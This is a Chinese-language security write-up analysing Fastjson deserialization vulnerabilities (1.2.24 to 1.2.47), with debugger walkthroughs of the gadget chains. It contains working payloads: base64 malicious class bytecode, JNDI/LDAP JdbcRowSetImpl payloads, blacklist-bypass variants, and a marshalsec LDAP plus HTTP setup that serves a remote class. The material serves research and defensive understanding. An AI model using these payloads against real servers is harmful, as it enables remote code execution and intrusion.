# Fastjson-1.2.24
影响版本:
fastjson <= 1.2.24
描述:fastjson 默认使用@type
指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。
payload:
{ | |
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", | |
"_bytecodes": ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEAHWNvbS9leGFtcGxlL2Zhc3Rqc29uZGVtby9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAwABAANAA0ADgAMAAAABAABAA0AAQAOAA8AAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABIADAAAAAQAAQAQAAEADgARAAIACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEAAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAYAAgAGQAMAAAABAABABQAAQAVAAAAAgAW"], | |
"_name": "h40vv3n", | |
"_tfactory": {}, | |
"_outputProperties": {} | |
} |
# TemplatesImpl 反序列化
# 漏洞分析
TemplatesImpl 类位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java
其实现了 Serializable 接口,因此可被序列化,查看该文件,寻找漏洞点
在 getTransletInstance()
方法中,发现了利用点,成员属性 _class
是一个 Class 类型的数组,下标为 _transletIndex
的类会使用 newInstance()
方法进行实例化
如果 _class
中 _transletIndex
的类可控的话,就能够进行利用了,继续查找赋值的地方
在 defineTransletClasses()
方法中对其进行了赋值的操作,为了成功执行到该处,要保证 _bytecodes
的值不为空,该变量是成员属性,可以控制,到了下面就会将 _bytecodes
中的类加载并传入 _class
中索引为 i
的位置,当该类的父类为 ABSTRACT_TRANSLET
时, _transletIndex
的值就为 i
的值,所以到目前位置,可以利用必要条件都能满足
而在 getTransletInstance()
方法中,只要成员属性 _class
的值为 null 即可执行 defineTransletClasses()
方法,这里也是可控的。接下来要寻找调用 getTransletInstance()
方法的地方
在下面的 newTransformer()
方法中调用了 getTransletInstance()
方法
继续寻找调用链,在下面的 getOutputProperties()
方法中调用了 newTransformer()
方法
而 getOutputProperties()
方法是成员属性 _outputProperties
的 getter
方法
此时不知道具体运行途中是否会调用 getOutputProperties()
方法,打上断点进行调试看看
调试到给 token 赋值之后继续跟进
跟进 getDeserializer()
方法
继续跟进 createJavaBeanDeserializer()
方法
再跟进 JavaBeanInfo.build()
方法
跟进来后发现会获取到类中全部的方法
运行到此处会将方法逐一取出并进行诸多条件的判断,此时正在进行对 getOutputProperties()
方法的判断
继续运行发现满足条件并且会将与该方法相关的一些信息加入到 fieldList
中
再往后调试发现的确运行了我们构造的恶意类中的命令
因此该漏洞的完整调用链为:
getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> EvilClass.newInstance()
为了保证程序中途不报异常,还需保证 _outputProperties
、 _indentNumber
、 _tfactory
的值不为 null
而 _indentNumber
的值默认为 0,可以不用设置
而 _outputProperties
、 _tfactory
的值在不设置时是为 null,因此需要在 payload 中加上
并且 payload 中更改的私有变量部分没有 setter
方法,因此在进行反序列化时需要设置
Feature.SupportNonPublicField
参数
# 恶意类字节码构造
编写一个恶意类 Evil.java:
package com.example.fastjsondemo; | |
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import java.io.IOException; | |
public class Evil extends AbstractTranslet { | |
public Evil() throws IOException { | |
Runtime.getRuntime().exec("calc"); | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
public static void main(String[] args) throws Exception{ | |
Evil e = new Evil(); | |
} | |
} |
使用 javac Evil.java
编译成.class 文件
使用如下 python 脚本输出对应的类字节 base64 编码:
import base64 | |
with open(r"Evil.class", "rb") as file: | |
classbyte = base64.b64encode(file.read()) | |
print(classbyte) |
因此最终的 payload 为:
{ | |
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", | |
"_bytecodes": ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEAHWNvbS9leGFtcGxlL2Zhc3Rqc29uZGVtby9FdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAwABAANAA0ADgAMAAAABAABAA0AAQAOAA8AAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABIADAAAAAQAAQAQAAEADgARAAIACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAWAAwAAAAEAAEAEAAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAAYAAgAGQAMAAAABAABABQAAQAVAAAAAgAW"], | |
"_name": "h40vv3n", | |
"_tfactory": {}, | |
"_outputProperties": {} | |
} |
# JdbcRowSetImpl 反序列化
JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl
,这条漏洞利用链
是 javax.naming.InitialContext.lookup()
参数可控导致的 JNDI 注入
进入到相关文件查看漏洞点,只要 this.conn
为空则会调用 lookup()
方法,参数为方法 this.getDataSourceName()
的返回值,而该方法正是成员属性 dataSourceName
的 getter 方法,因此可控
查找调用 connect()
方法的函数,找到了 setAutoCommit()
方法,该方法是成员属性 autoCommit
的 setter 方法,因此 payload 中设置 autoCommit
的值即可触发该方法
因此最终的 payload 为:
{ | |
"@type":"com.sun.rowset.JdbcRowSetImpl", | |
"dataSourceName":"ldap://localhost:1389/Exploit", | |
"autoCommit":true | |
} |
# 使用 marshalsec 构建 ldap 服务
将相关文件 git 下来:
git clone git@github.com:mbechler/marshalsec.git
mvn 编译成 jar 包:
mvn clean package -DskipTests
最后在 target 目录下会生成 marshalsec-0.0.3-SNAPSHOT-all.jar
启动命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Exploit |
在相同的目录下编写恶意类并编译成.class 文件:
public class Exploit { | |
public Exploit (){ | |
try{ | |
Runtime.getRuntime().exec("calc"); | |
}catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
public static void main(String[] argv){ | |
Exploit e = new Exploit(); | |
} | |
} |
在相同目录下执行以下命令开启一个简易的 web 服务:
python -m SimpleHTTPServer 8081
最后通过 postman 将 payload 打过去即可加载远程类,执行类中代码
# Fastjson-1.2.25
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
影响版本:
1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。
该版本的安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig.java
文件中,使用 idea 反编译查看对应的.class 文件,新出现了几个成员变量:布尔类型的 autoTypeSupport
,用来指定是否开启任意类的反序列化,默认关闭;字符串数组 denyList
,存放着黑名单类;字符串数组 acceptList
,存放白名单类
黑名单 denylist
包含:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
添加白名单有三种方法:
1、使用代码: ParserConfig.getGlobalInstance().addAccept(“org.javaweb.”)
2、加上 JVM 启动参数: -Dfastjson.parser.autoTypeAccept=org.javaweb.
3、在 fastjson.properties 中添加: fastjson.parser.autoTypeAccept=org.javaweb.
# 漏洞分析
往下定位到 checkAutoType()
方法处,如果开启了 autoTypeSupport
,则先匹配白名单,若匹配到就直接使用 TypeUtils.loadClass()
进行加载,然后在进行黑名单匹配,匹配到就直接抛出异常
如果没开启 autoTypeSupport
,就先使用黑名单匹配,匹配到了抛出异常。然后再用白名单匹配加载
若是黑白名单都没有匹配到的话,只有开启 autoTypeSupport
且指定了 Class 对象才会加载
继续跟进 loadClass()
方法,这其中会对类名进行一些预处理,通过递归去除开头的 [
、 L
以及结尾的 ;
然而因为这样的处理就会导致逻辑漏洞,攻击者可恶意构造包含这些字符的类从而能够绕过前面黑名单的过滤,在具体加载前,这些特殊符号又会被去掉,从而又能导致任意类加载。
所以最终的 payload 之一可以如下:
{ | |
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", | |
"dataSourceName":"ldap://localhost:1389/Exploit", | |
"autoCommit":true | |
} |
不过该版本默认关闭了 autoTypeSupport
,所以在反序列化之前需要先开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
然后将 payload 打过去即可触发恶意类的代码
# Fastjson-1.2.47
在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
影响版本:
1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66
,里面包含了这次通杀漏洞的 payload。
该漏洞的点位于 checkAutoType()
中
首先还是先判断是否开启 autoTypeSupport
,若开启,则先匹配白名单,若没匹配到再匹配黑名单,此时只有黑名匹配到且同时没有从 mappings
中取到对应的 class 才会抛出异常
若是从 mappings
中取到了 class 或者从 deserializers
中取到 class,则会返回
然后再往下就是没有开启 autoTypeSupport
时的处理,此时就直接匹配黑名单,匹配到直接抛出异常
所以在这里出现了可以利用的点:先将要反序列化的类先加入到 mappings
中,然后再调用到 checkAutoType()
方法即可绕过黑白名单
所以寻找能够往 mappings
中赋值的方法,首先发现了 addBaseClassMappings()
方法,然而该方法无参数传入,无法利用;然后找到了 loadClass()
方法
该方法可以尝试利用,只要参数可控即可利用成功,寻找一下调用该方法的地方
在 com.alibaba.fastjson.serializer.MiscCodec.java
文件中的 deserialze()
中发现了调用,调用的条件为传入的 clazz
为 Class.class
该类实现了序列化与反序列化的接口,因此可以通过该类的实例来进行反序列化的操作
此时可以进行简单调试下看看流程,发现在初始化反序列化器的时候也将 MiscCodec
的实例添加了进去,测试数据为:
{ | |
"@type":"java.lang.Class", | |
"val":"666" | |
} |
继续调试发现在获取反序列化器时获取的正是 MiscCodec
继续向下调试,设置解析状态为 TypeNameRedirect
接下来就使用 MiscCodec
的反序列化器来执行反序列化操作了
继续跟进 deserialize()
方法里面,该部分实现的功能就是解析 JSON 中的 "val"
字段,并将对应的值赋值给 objVal
变量
接着将 objVal
的值传给了 strVal
然后便执行到了预期的 loadClass()
处
继续往里跟进,最后运行到此处,当 className
存在时则会返回对应的 Class 对象,然后就把类名与 Class 对象添加进 mappings
里面
到此利用链就清晰了,现在可以构造黑名单中的类作为 strVal
的值,然后就会被加载进 mappings
中,接着再通过 @type
请求即可成功绕过黑名单,所以最终的 payload 为:
{ | |
"h40vv3n": { | |
"@type": "java.lang.Class", | |
"val": "com.sun.rowset.JdbcRowSetImpl" | |
}, | |
"h40vv3n1": { | |
"@type": "com.sun.rowset.JdbcRowSetImpl", | |
"dataSourceName": "ldap://localhost:1389/Exploit", | |
"autoCommit": true | |
} | |
} |
使用 postman 打过去成功触发恶意代码